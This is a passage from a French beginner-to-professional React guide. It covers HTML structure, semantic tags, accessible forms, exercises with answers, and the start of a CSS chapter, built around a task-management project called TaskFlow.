================================================================================
   ██████╗ ███████╗ █████╗  ██████╗████████╗    ███╗   ███╗ █████╗ ███████╗████████╗███████╗██████╗
   ██╔══██╗██╔════╝██╔══██╗██╔════╝╚══██╔══╝    ████╗ ████║██╔══██╗██╔════╝╚══██╔══╝██╔════╝██╔══██╗
   ██████╔╝█████╗  ███████║██║        ██║       ██╔████╔██║███████║███████╗   ██║   █████╗  ██████╔╝
   ██╔══██╗██╔══╝  ██╔══██║██║        ██║       ██║╚██╔╝██║██╔══██║╚════██║   ██║   ██╔══╝  ██╔══██╗
   ██║  ██║███████╗██║  ██║╚██████╗   ██║       ██║ ╚═╝ ██║██║  ██║███████║   ██║   ███████╗██║  ██║
   ╚═╝  ╚═╝╚══════╝╚═╝  ╚═╝ ╚═════╝   ╚═╝       ╚═╝     ╚═╝╚═╝  ╚═╝╚══════╝   ╚═╝   ╚══════╝╚═╝  ╚═╝
================================================================================
          GUIDE COMPLET REACT — DE DÉBUTANT À DÉVELOPPEUR PROFESSIONNEL
          Projet fil rouge : TaskFlow SaaS Application
================================================================================
PARTIE 1 : FONDATIONS WEB — HTML, CSS, JAVASCRIPT, ES6, DOM
================================================================================
VERSION : 1.0 | NIVEAU : DÉBUTANT -> PROFESSIONNEL | PAGES : ~200
================================================================================

TABLE DES MATIÈRES — PARTIE 1
═══════════════════════════════════════════════════════════════════════════════
  CHAPITRE 1  ->  HTML : Structure du Web
  CHAPITRE 2  ->  CSS : Design et Mise en Page
  CHAPITRE 3  ->  JavaScript : Logique et Interactivité
  CHAPITRE 4  ->  ES6+ : JavaScript Moderne
  CHAPITRE 5  ->  DOM : Manipulation du Document
  PROJET      ->  Fondations de TaskFlow
═══════════════════════════════════════════════════════════════════════════════

AVANT DE COMMENCER : LE CONTEXTE
───────────────────────────────────────────────────────────────────────────────

Bienvenue dans ce guide complet React. Avant de plonger dans React, il est
ABSOLUMENT ESSENTIEL de maîtriser les fondations : HTML, CSS, JavaScript.

Pourquoi ? Parce que React n'est pas une magie. React est une bibliothèque
JavaScript qui manipule le DOM. Si tu ne comprends pas le DOM, tu ne comprendras
pas pourquoi React existe ni comment il fonctionne.

Ce guide suit un projet fil rouge appelé "TaskFlow" — une application SaaS de
gestion de tâches. Chaque chapitre fait évoluer ce projet. À la fin du guide,
tu auras une application complète, production-ready, avec :
  • Authentification
  • Dashboard en temps réel
  • Gestion de tâches (CRUD)
  • Intégration API REST
  • Architecture modulaire
  • Tests, CI/CD, déploiement

Prêt ? Commençons.

════════════════════════════════════════════════════════════════════════════════
CHAPITRE 1 : HTML — LA STRUCTURE DU WEB
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
1.1 — QU'EST-CE QUE HTML ?
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

HTML (HyperText Markup Language) est le langage de STRUCTURE du web. Il définit
le CONTENU et l'ORGANISATION d'une page web.

Analogie : Si une page web est une maison,
  • HTML  = la structure (murs, portes, fenêtres)
  • CSS   = la décoration (peinture, meubles, style)
  • JS    = l'électricité (interactivité, fonctionnement)

HTML existe depuis 1991 (Tim Berners-Lee). Il est à la base de TOUT ce qu'on
voit sur le web. React, Angular, Vue — tous génèrent du HTML au final.

POURQUOI L'APPRENDRE AVANT REACT ?
React génère du JSX qui se transforme en HTML. Si tu ne comprends pas HTML,
tu ne comprendras pas ce que React produit.

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
1.2 — THÉORIE : COMMENT FONCTIONNE HTML ?
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

HTML utilise un système de BALISES (tags). Une balise est un mot-clé entouré
de chevrons < >.

STRUCTURE D'UNE BALISE :

  <nom-balise attribut="valeur">  contenu  </nom-balise>
  │           │                   │         │
  │           │                   │         └─ Balise fermante (slash /)
  │           │                   └─ Contenu visible
  │           └─ Attribut (propriété de la balise)
  └─ Balise ouvrante

BALISES AUTOFERMANTES (pas de contenu) :
  <img src="photo.jpg" alt="photo" />
  <input type="text" placeholder="Écrire ici" />
  <br />   (saut de ligne)
  <hr />   (ligne horizontale)

LE MODÈLE ARBORESCENT (DOM TREE) :
HTML crée une structure en arbre. Chaque balise est un "nœud" (node).

  html
  ├── head
  │   ├── title
  │   └── meta
  └── body
      ├── header
      │   └── nav
      ├── main
      │   ├── h1
      │   └── p
      └── footer

C'est cette structure qu'on appelle le DOM (Document Object Model).
React manipule ce DOM de manière intelligente — on y reviendra.

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
1.3 — STRUCTURE DE BASE D'UN DOCUMENT HTML
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Voici la structure minimale d'un fichier HTML valide :

┌─────────────────────────────────────────────────────────────────┐
│  <!DOCTYPE html>                                                 │
│  <!-- ^ Déclare que ce fichier est du HTML5 (pas HTML4)         │
│         Le navigateur sait comment l'interpréter -->            │
│                                                                  │
│  <html lang="fr">                                               │
│  <!-- ^ Élément racine. lang="fr" = langue française            │
│         Important pour l'accessibilité et le SEO -->            │
│                                                                  │
│    <head>                                                        │
│    <!-- ^ Zone NON VISIBLE. Contient les métadonnées -->         │
│                                                                  │
│      <meta charset="UTF-8" />                                   │
│      <!-- ^ Encodage des caractères. UTF-8 supporte             │
│             les accents, emojis, caractères spéciaux -->        │
│                                                                  │
│      <meta name="viewport"                                      │
│            content="width=device-width, initial-scale=1.0" />  │
│      <!-- ^ Crucial pour le responsive design (mobile).         │
│             Sans ça, le mobile zoom out automatiquement -->     │
│                                                                  │
│      <title>TaskFlow — Gérez vos tâches</title>                 │
│      <!-- ^ Titre dans l'onglet du navigateur                   │
│             Aussi utilisé par Google pour le SEO -->            │
│                                                                  │
│      <link rel="stylesheet" href="style.css" />                 │
│      <!-- ^ Lien vers le fichier CSS externe -->                │
│                                                                  │
│    </head>                                                       │
│                                                                  │
│    <body>                                                        │
│    <!-- ^ Zone VISIBLE. Tout le contenu affiché ici -->          │
│                                                                  │
│      <h1>Bienvenue sur TaskFlow</h1>                            │
│                                                                  │
│      <script src="app.js"></script>                             │
│      <!-- ^ Script JS. Mis en DERNIER dans body                 │
│             pour que le HTML soit chargé avant le JS -->        │
│                                                                  │
│    </body>                                                       │
│  </html>                                                         │
└─────────────────────────────────────────────────────────────────┘

POINT CLÉ POUR REACT : Dans un projet React (Vite ou CRA), il existe un seul
fichier index.html avec un div unique :
  <div id="root"></div>
React injecte TOUTE l'application dans ce div. C'est le point d'entrée.

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
1.4 — LES BALISES ESSENTIELLES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

TITRES (Headings) :
  <h1>Titre principal (1 seul par page)</h1>
  <h2>Sous-titre</h2>
  <h3>Sous-sous-titre</h3>
  <h4>...</h4>
  <h5>...</h5>
  <h6>Titre le moins important</h6>

  -> En React, les composants de section auront souvent un h2 ou h3.
  -> L'h1 est généralement réservé au titre de la page.

TEXTE :
  <p>Paragraphe de texte.</p>
  <span>Texte inline (sans saut de ligne)</span>
  <strong>Texte en gras (importance sémantique)</strong>
  <em>Texte en italique (emphase)</em>
  <br />  Saut de ligne
  <hr />  Ligne horizontale de séparation

LISTES :
  Ordonnée (numérotée) :
    <ol>
      <li>Première étape</li>
      <li>Deuxième étape</li>
      <li>Troisième étape</li>
    </ol>

  Non ordonnée (à puces) :
    <ul>
      <li>Item A</li>
      <li>Item B</li>
      <li>Item C</li>
    </ul>

  -> En React, on génère souvent des listes avec .map() :
    {tâches.map(tâche => <li key={tâche.id}>{tâche.titre}</li>)}

LIENS :
  <a href="https://taskflow.app">Visiter TaskFlow</a>
  <a href="/dashboard">Dashboard</a>   <- lien interne
  <a href="mailto:contact@taskflow.app">Email</a>
  <a href="tel:+33123456789">Appeler</a>
  <a href="https://..." target="_blank" rel="noopener noreferrer">
    Ouvrir dans un nouvel onglet (sécurisé)
  </a>

  NOTE SÉCURITÉ : rel="noopener noreferrer" est OBLIGATOIRE avec target="_blank".
  Sans ça, la page ouverte peut accéder à window.opener (faille de sécurité).

IMAGES :
  <img
    src="logo.png"
    alt="Logo TaskFlow"    <- OBLIGATOIRE pour l'accessibilité
    width="200"            <- largeur en pixels
    height="100"           <- hauteur en pixels
    loading="lazy"         <- chargement différé (performance)
  />

FORMULAIRES :
  <form action="/submit" method="POST">

    <label for="email">Email :</label>
    <input
      type="email"
      id="email"
      name="email"
      placeholder="votre@email.com"
      required
    />

    <label for="password">Mot de passe :</label>
    <input
      type="password"
      id="password"
      name="password"
      minlength="8"
      required
    />

    <button type="submit">Se connecter</button>
  </form>

  TYPES D'INPUT IMPORTANTS :
    type="text"      -> Texte libre
    type="email"     -> Email (validation automatique)
    type="password"  -> Mot de passe (masqué)
    type="number"    -> Nombre
    type="checkbox"  -> Case à cocher
    type="radio"     -> Bouton radio
    type="date"      -> Sélecteur de date
    type="file"      -> Upload de fichier
    type="hidden"    -> Valeur cachée
    type="submit"    -> Bouton de soumission

  -> En React, on utilise des "controlled components" pour les formulaires.
    On ne laisse PAS le navigateur gérer le state du formulaire.

TABLEAUX :
  <table>
    <thead>
      <tr>
        <th>Tâche</th>
        <th>Priorité</th>
        <th>Statut</th>
      </tr>
    </thead>
    <tbody>
      <tr>
        <td>Créer le dashboard</td>
        <td>Haute</td>
        <td>En cours</td>
      </tr>
    </tbody>
  </table>

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
1.5 — BALISES SÉMANTIQUES HTML5 (CRUCIAL POUR REACT)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

HTML5 a introduit des balises SÉMANTIQUES — des balises qui décrivent leur
CONTENU et pas seulement leur apparence visuelle.

AVANT HTML5 (mauvaise pratique) :
  <div id="header">...</div>
  <div id="nav">...</div>
  <div id="content">...</div>
  <div id="footer">...</div>

AVEC HTML5 (bonne pratique) :
  <header>...</header>
  <nav>...</nav>
  <main>...</main>
  <footer>...</footer>

TOUTES LES BALISES SÉMANTIQUES IMPORTANTES :

  <header>
    Entête de la page ou d'une section.
    Contient le logo, la nav, le titre de la page.

  <nav>
    Navigation principale. Liens de menu.

  <main>
    Contenu principal de la page (1 seul par page).
    React injecte souvent les routes ici.

  <article>
    Contenu autonome (article de blog, carte de tâche, etc.)
    Peut être extrait et lu indépendamment.

  <section>
    Groupe thématique de contenu.
    A généralement un titre (h2, h3...).

  <aside>
    Contenu secondaire / sidebar.
    Informations complémentaires.

  <footer>
    Pied de page. Copyright, liens utiles.

  <figure> / <figcaption>
    Image avec légende.

  <time datetime="2024-01-15">15 janvier 2024</time>
    Date/heure sémantique. Utile pour le SEO.

  <address>
    Coordonnées de contact.

POURQUOI C'EST IMPORTANT POUR REACT ?
  1. ACCESSIBILITÉ : Les lecteurs d'écran comprennent la structure.
  2. SEO : Google analyse la sémantique pour le référencement.
  3. MAINTENABILITÉ : Le code est plus lisible.

En React, tes composants devraient refléter cette sémantique :
  <Header /> -> rend <header>
  <Sidebar /> -> rend <aside>
  <TaskCard /> -> rend <article>

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
1.6 — ATTRIBUTS HTML IMPORTANTS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

ATTRIBUTS UNIVERSELS (s'appliquent à TOUTES les balises) :

  id="unique-name"
    Identifiant unique dans la page. Un seul élément peut avoir cet id.
    Utilisé par CSS (#unique-name) et JS (document.getElementById).
    En React : éviter d'utiliser id pour manipuler le DOM directement.

  class="nom-de-classe"
    Classe CSS. Plusieurs éléments peuvent avoir la même classe.
    En React : s'écrit className (car class est un mot réservé JS).

  style="color: red; font-size: 16px;"
    Style inline. À éviter en production, préférer CSS externe.
    En React : style={{ color: 'red', fontSize: '16px' }}

  data-*="valeur"
    Attributs personnalisés pour stocker des données.
    Exemple : data-task-id="123"
    Accessible via JS : element.dataset.taskId

  tabindex="0"
    Ordre de navigation au clavier. 0 = ordre naturel du DOM.

  hidden
    Cache l'élément (équivalent display: none).

  disabled
    Désactive un élément interactif (input, button...).

  aria-*
    Attributs ARIA pour l'accessibilité.
    aria-label="Fermer le modal"
    aria-hidden="true"
    aria-expanded="false"

ATTRIBUTS SPÉCIFIQUES AUX FORMULAIRES :
  required       -> Champ obligatoire
  readonly       -> Lecture seule
  disabled       -> Désactivé
  min/max        -> Valeurs min/max (number, date)
  minlength/maxlength  -> Longueur min/max (text)
  pattern        -> Regex de validation
  autocomplete   -> Autocomplétion browser

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
1.7 — IMPLÉMENTATION : PAGE HTML DE TASKFLOW
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Créons la page de connexion de TaskFlow en HTML pur.
On va la transformer en composant React plus tard.

┌─────────────────────────────────────────────────────────────────┐
│  <!-- login.html — Page de connexion TaskFlow -->               │
│  <!DOCTYPE html>                                                 │
│  <html lang="fr">                                               │
│                                                                  │
│  <head>                                                          │
│    <meta charset="UTF-8" />                                     │
│    <meta name="viewport"                                        │
│          content="width=device-width, initial-scale=1.0" />    │
│    <meta name="description"                                     │
│          content="Connectez-vous à TaskFlow" />                 │
│    <!-- ^ Description pour Google -->                           │
│    <title>Connexion — TaskFlow</title>                          │
│    <link rel="stylesheet" href="style.css" />                   │
│  </head>                                                         │
│                                                                  │
│  <body>                                                          │
│                                                                  │
│    <!-- Navigation -->                                          │
│    <header>                                                      │
│      <nav aria-label="Navigation principale">                   │
│        <a href="/" aria-label="Accueil TaskFlow">               │
│          <img src="/logo.svg"                                   │
│               alt="Logo TaskFlow"                               │
│               width="120"                                       │
│               height="40" />                                    │
│        </a>                                                      │
│        <ul>                                                      │
│          <li><a href="/features">Fonctionnalités</a></li>       │
│          <li><a href="/pricing">Tarifs</a></li>                 │
│          <li><a href="/login">Connexion</a></li>                │
│        </ul>                                                     │
│      </nav>                                                      │
│    </header>                                                     │
│                                                                  │
│    <!-- Contenu principal -->                                   │
│    <main>                                                        │
│      <section aria-labelledby="login-title">                   │
│        <h1 id="login-title">Connexion à TaskFlow</h1>           │
│        <p>Gérez vos tâches efficacement.</p>                    │
│                                                                  │
│        <!-- Formulaire de connexion -->                        │
│        <form                                                     │
│          id="login-form"                                        │
│          action="/api/auth/login"                               │
│          method="POST"                                          │
│          novalidate                                             │
│        >                                                         │
│          <!-- novalidate = on gère la validation en JS -->     │
│                                                                  │
│          <!-- Groupe Email -->                                  │
│          <div class="form-group">                               │
│            <label for="email">                                  │
│              Adresse email                                      │
│              <span aria-hidden="true">*</span>                 │
│            </label>                                              │
│            <input                                               │
│              type="email"                                       │
│              id="email"                                         │
│              name="email"                                       │
│              placeholder="vous@exemple.com"                    │
│              required                                           │
│              autocomplete="email"                               │
│              aria-describedby="email-error"                    │
│            />                                                    │
│            <span                                                │
│              id="email-error"                                   │
│              class="error-message"                              │
│              role="alert"                                       │
│              aria-live="polite"                                 │
│            ></span>                                              │
│          </div>                                                  │
│                                                                  │
│          <!-- Groupe Mot de passe -->                          │
│          <div class="form-group">                               │
│            <label for="password">Mot de passe</label>          │
│            <div class="input-wrapper">                          │
│              <input                                             │
│                type="password"                                  │
│                id="password"                                    │
│                name="password"                                  │
│                required                                         │
│                minlength="8"                                    │
│                autocomplete="current-password"                 │
│                aria-describedby="password-error"               │
│              />                                                  │
│              <button                                            │
│                type="button"                                    │
│                id="toggle-password"                             │
│                aria-label="Afficher le mot de passe"           │
│              >                                                   │
│                [EYE]                                               │
│              </button>                                          │
│            </div>                                               │
│            <span                                                │
│              id="password-error"                                │
│              class="error-message"                              │
│              role="alert"                                       │
│            ></span>                                              │
│          </div>                                                  │
│                                                                  │
│          <!-- Options -->                                      │
│          <div class="form-options">                             │
│            <label class="checkbox-label">                      │
│              <input                                             │
│                type="checkbox"                                  │
│                name="remember"                                  │
│                id="remember"                                    │
│              />                                                  │
│              Se souvenir de moi                                 │
│            </label>                                             │
│            <a href="/forgot-password">                         │
│              Mot de passe oublié ?                              │
│            </a>                                                 │
│          </div>                                                  │
│                                                                  │
│          <!-- Bouton submit -->                                │
│          <button                                                │
│            type="submit"                                        │
│            class="btn btn-primary"                              │
│            id="submit-btn"                                      │
│          >                                                       │
│            Se connecter                                         │
│          </button>                                              │
│                                                                  │
│        </form>                                                   │
│                                                                  │
│        <p>                                                       │
│          Pas encore de compte ?                                 │
│          <a href="/register">Créer un compte gratuit</a>       │
│        </p>                                                      │
│                                                                  │
│      </section>                                                  │
│    </main>                                                       │
│                                                                  │
│    <footer>                                                      │
│      <p>                                                         │
│        © <time datetime="2024">2024</time> TaskFlow.            │
│        Tous droits réservés.                                    │
│      </p>                                                        │
│    </footer>                                                     │
│                                                                  │
│    <script src="app.js"></script>                               │
│  </body>                                                         │
│  </html>                                                         │
└─────────────────────────────────────────────────────────────────┘

ANALYSE LIGNE PAR LIGNE :

  novalidate sur <form>
    On désactive la validation native du navigateur pour utiliser
    une validation custom en JavaScript (ou React).

  aria-describedby="email-error"
    L'input email est "décrit" par l'élément avec id="email-error".
    Les lecteurs d'écran liront le message d'erreur associé.

  role="alert" + aria-live="polite"
    Quand le contenu de cet élément change, le lecteur d'écran
    l'annoncera automatiquement. Essentiel pour l'accessibilité.

  autocomplete="email"
    Le navigateur peut suggérer des emails connus. Améliore l'UX.

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
1.8 — ERREURS HTML FRÉQUENTES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

[X] ERREUR 1 : Oublier l'attribut alt sur les images
  <img src="photo.jpg" />                 <- MAUVAIS
  <img src="photo.jpg" alt="Photo" />    <- CORRECT

[X] ERREUR 2 : Utiliser <div> pour tout
  <div id="header">...</div>   <- MAUVAIS (pas sémantique)
  <header>...</header>          <- CORRECT

[X] ERREUR 3 : Plusieurs <h1> par page
  <h1>Titre 1</h1>   <- MAUVAIS (2 h1 = confusion SEO)
  <h1>Titre 2</h1>
  
  Correct : 1 seul h1, puis h2, h3 dans l'ordre hiérarchique.

[X] ERREUR 4 : <label> sans <input> associé
  <label>Email</label>                          <- MAUVAIS
  <input type="email" />
  
  <label for="email">Email</label>              <- CORRECT
  <input type="email" id="email" />

[X] ERREUR 5 : target="_blank" sans rel="noopener"
  <a href="..." target="_blank">Lien</a>                              <- DANGEREUX
  <a href="..." target="_blank" rel="noopener noreferrer">Lien</a>   <- CORRECT

[X] ERREUR 6 : Imbriquer des éléments block dans des inline
  <span><div>Contenu</div></span>   <- INVALIDE
  <div><span>Contenu</span></div>   <- CORRECT

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
1.9 — EXERCICES CHAPITRE 1
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

NIVEAU FACILE :

  EX-1.1 : Structure de base
  Créez un fichier index.html avec la structure minimale valide.
  Ajoutez un titre "Mon Portfolio", un h1 "Bienvenue" et un paragraphe
  de présentation.

  EX-1.2 : Formulaire simple
  Créez un formulaire d'inscription avec les champs :
    - Prénom (text, required)
    - Email (email, required)
    - Mot de passe (password, min 8 caractères)
    - Confirmation mot de passe (password)
    - Bouton "S'inscrire"
  Chaque champ doit avoir un label associé.

  EX-1.3 : Liste de tâches
  Créez une liste non ordonnée avec 5 tâches. Chaque tâche est un <li>
  contenant une checkbox et le texte de la tâche.

NIVEAU INTERMÉDIAIRE :

  EX-1.4 : Page de landing page
  Créez une landing page pour TaskFlow avec :
    - <header> avec logo et <nav> (3 liens)
    - <main> avec une section hero (h1, description, bouton CTA)
    - Une section features avec 3 articles
    - <footer> avec copyright
  Utiliser UNIQUEMENT des balises sémantiques.

  EX-1.5 : Tableau de tâches
  Créez un tableau HTML affichant 5 tâches avec colonnes :
  ID | Titre | Priorité | Assigné à | Statut | Actions
  Le thead doit être différencié du tbody.

  EX-1.6 : Formulaire avancé
  Créez le formulaire "Nouvelle tâche" de TaskFlow avec :
    - Titre (text, required)
    - Description (textarea)
    - Priorité (select : Basse, Moyenne, Haute, Critique)
    - Date d'échéance (date)
    - Assigné à (email)
    - Tags (checkboxes : Bug, Feature, Documentation, Test)
    - Boutons : Annuler | Créer la tâche

NIVEAU AVANCÉ :

  EX-1.7 : Accessibilité complète
  Reprenez la page de connexion du chapitre et ajoutez :
    - Skip link (lien "Aller au contenu" pour clavier)
    - aria-label sur tous les éléments interactifs
    - role approprié sur chaque section
    - Indicateurs d'état pour les champs invalides
    - Focus visible sur tous les éléments interactifs

  EX-1.8 : Structure de dashboard
  Créez la structure HTML du dashboard TaskFlow :
    - <header> : logo, nav, avatar utilisateur
    - <aside> : sidebar avec 6 liens de navigation
    - <main> : grid de 4 cartes stats + tableau de tâches récentes
    - Aucun style, structure sémantique pure

  EX-1.9 : SEO HTML
  Optimisez une page HTML pour le SEO :
    - meta description
    - meta og:title, og:description, og:image (Open Graph)
    - meta twitter:card
    - Schema.org (JSON-LD) pour SoftwareApplication
    - sitemap reference

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
1.10 — CORRIGÉS DES EXERCICES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

CORRIGÉ EX-1.1 :

  <!DOCTYPE html>
  <html lang="fr">
  <head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>Mon Portfolio</title>
  </head>
  <body>
    <main>
      <h1>Bienvenue</h1>
      <p>
        Je suis développeur frontend spécialisé en React.
        Passionné par les interfaces modernes et performantes.
      </p>
    </main>
  </body>
  </html>

  POINTS CLÉS :
    • DOCTYPE obligatoire
    • lang="fr" pour l'accessibilité
    • charset et viewport dans head
    • h1 unique, inside main

CORRIGÉ EX-1.2 :

  <form novalidate>
    <div class="form-group">
      <label for="firstname">Prénom *</label>
      <input
        type="text"
        id="firstname"
        name="firstname"
        required
        autocomplete="given-name"
      />
    </div>

    <div class="form-group">
      <label for="reg-email">Email *</label>
      <input
        type="email"
        id="reg-email"
        name="email"
        required
        autocomplete="email"
      />
    </div>

    <div class="form-group">
      <label for="reg-password">
        Mot de passe * (minimum 8 caractères)
      </label>
      <input
        type="password"
        id="reg-password"
        name="password"
        required
        minlength="8"
        autocomplete="new-password"
      />
    </div>

    <div class="form-group">
      <label for="confirm-password">Confirmation mot de passe *</label>
      <input
        type="password"
        id="confirm-password"
        name="confirm_password"
        required
        autocomplete="new-password"
      />
    </div>

    <button type="submit">S'inscrire</button>
  </form>

  POINTS CLÉS :
    • Chaque input a son label avec for/id correspondants
    • autocomplete="new-password" (pas "current-password")
    • novalidate : on gérera la validation JS

CORRIGÉ EX-1.3 :

  <ul class="task-list" role="list">
    <li class="task-item">
      <label>
        <input type="checkbox" name="task-1" />
        Créer le wireframe du dashboard
      </label>
    </li>
    <li class="task-item">
      <label>
        <input type="checkbox" name="task-2" />
        Configurer l'environnement React
      </label>
    </li>
    <li class="task-item">
      <label>
        <input type="checkbox" name="task-3" />
        Implémenter l'authentification
      </label>
    </li>
    <li class="task-item">
      <label>
        <input type="checkbox" name="task-4" />
        Connecter l'API REST
      </label>
    </li>
    <li class="task-item">
      <label>
        <input type="checkbox" name="task-5" />
        Déployer en production
      </label>
    </li>
  </ul>

  POINTS CLÉS :
    • Le <label> englobe le <input> et le texte (clic sur texte = coche)
    • role="list" pour certains lecteurs d'écran (VoiceOver/Safari)


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 2 : CSS — DESIGN ET MISE EN PAGE
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
2.1 — QU'EST-CE QUE CSS ?
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

CSS (Cascading Style Sheets) est le langage de PRÉSENTATION du web. Il contrôle
l'apparence visuelle des éléments HTML.

CSS fonctionne selon un principe de CASCADE : les règles "cascadent" en fonction
de leur spécificité, leur ordre, et leur héritage.

Pourquoi CSS est crucial pour React ?
  • React génère du HTML -> CSS le stylise
  • En React, on utilise : CSS Modules, styled-components, Tailwind
  • Comprendre CSS vanilla est indispensable pour ces outils

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
2.2 — SYNTAXE CSS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  sélecteur {
    propriété: valeur;
    propriété: valeur;
  }

Exemple :
  .btn-primary {
    background-color: #4f46e5;   /* Couleur de fond */
    color: white;                 /* Couleur du texte */
    padding: 12px 24px;          /* Espacement interne */
    border-radius: 8px;          /* Coins arrondis */
    font-size: 16px;             /* Taille police */
    cursor: pointer;             /* Curseur main */
    border: none;                /* Pas de bordure */
    transition: all 0.2s ease;  /* Animation hover */
  }

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
2.3 — LES SÉLECTEURS CSS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

SÉLECTEURS DE BASE :

  Élément     : h1 { ... }          -> Tous les h1
  Classe      : .card { ... }       -> class="card"
  ID          : #login { ... }      -> id="login"
  Universel   : * { ... }           -> Tout (éviter pour la perf)

SÉLECTEURS DE COMBINAISON :

  Descendant  : .nav a { ... }      -> Tous les <a> dans .nav
  Enfant      : .nav > a { ... }    -> Les <a> DIRECTS de .nav
  Adjacent    : h2 + p { ... }      -> <p> juste après un <h2>
  Suivant     : h2 ~ p { ... }      -> Tous <p> après un <h2>

PSEUDO-CLASSES :

  :hover        -> Au survol de la souris
  :focus        -> Élément actif (clavier ou clic)
  :active       -> Pendant le clic
  :visited      -> Lien visité
  :checked      -> Checkbox cochée
  :disabled     -> Élément désactivé
  :first-child  -> Premier enfant
  :last-child   -> Dernier enfant
  :nth-child(n) -> Nième enfant
  :not(.class)  -> Tout sauf .class

PSEUDO-ÉLÉMENTS :

  ::before    -> Contenu avant l'élément
  ::after     -> Contenu après l'élément
  ::placeholder -> Style du placeholder
  ::selection   -> Texte sélectionné

ATTRIBUTS :
  [type="email"]      -> Éléments avec type="email"
  [href^="https"]     -> Liens commençant par https
  [class*="btn"]      -> Classes contenant "btn"

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
2.4 — LE BOX MODEL (MODÈLE DE BOÎTE) — ESSENTIEL
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Chaque élément HTML est une BOÎTE avec 4 couches :

  ┌─────────────────────────────────────┐
  │             MARGIN                  │  <- Espace EXTERNE (transparent)
  │  ┌───────────────────────────────┐  │
  │  │           BORDER              │  │  <- Bordure
  │  │  ┌─────────────────────────┐  │  │
  │  │  │        PADDING          │  │  │  <- Espace INTERNE (coloré)
  │  │  │  ┌───────────────────┐  │  │  │
  │  │  │  │     CONTENT       │  │  │  │  <- Contenu (texte, image...)
  │  │  │  └───────────────────┘  │  │  │
  │  │  └─────────────────────────┘  │  │
  │  └───────────────────────────────┘  │
  └─────────────────────────────────────┘

PROPRIÉTÉS :

  content   : width, height
  padding   : padding (tous) | padding-top, -right, -bottom, -left
  border    : border: 1px solid #ddd | border-width, -style, -color
  margin    : margin (tous) | margin-top, -right, -bottom, -left

RACCOURCIS :
  padding: 16px;               -> 16px partout
  padding: 8px 16px;           -> 8px haut/bas, 16px gauche/droite
  padding: 4px 8px 12px 16px;  -> haut droite bas gauche (sens horaire)

BOX-SIZING — CRITICAL :
  * {
    box-sizing: border-box;
  }

  Avec border-box :
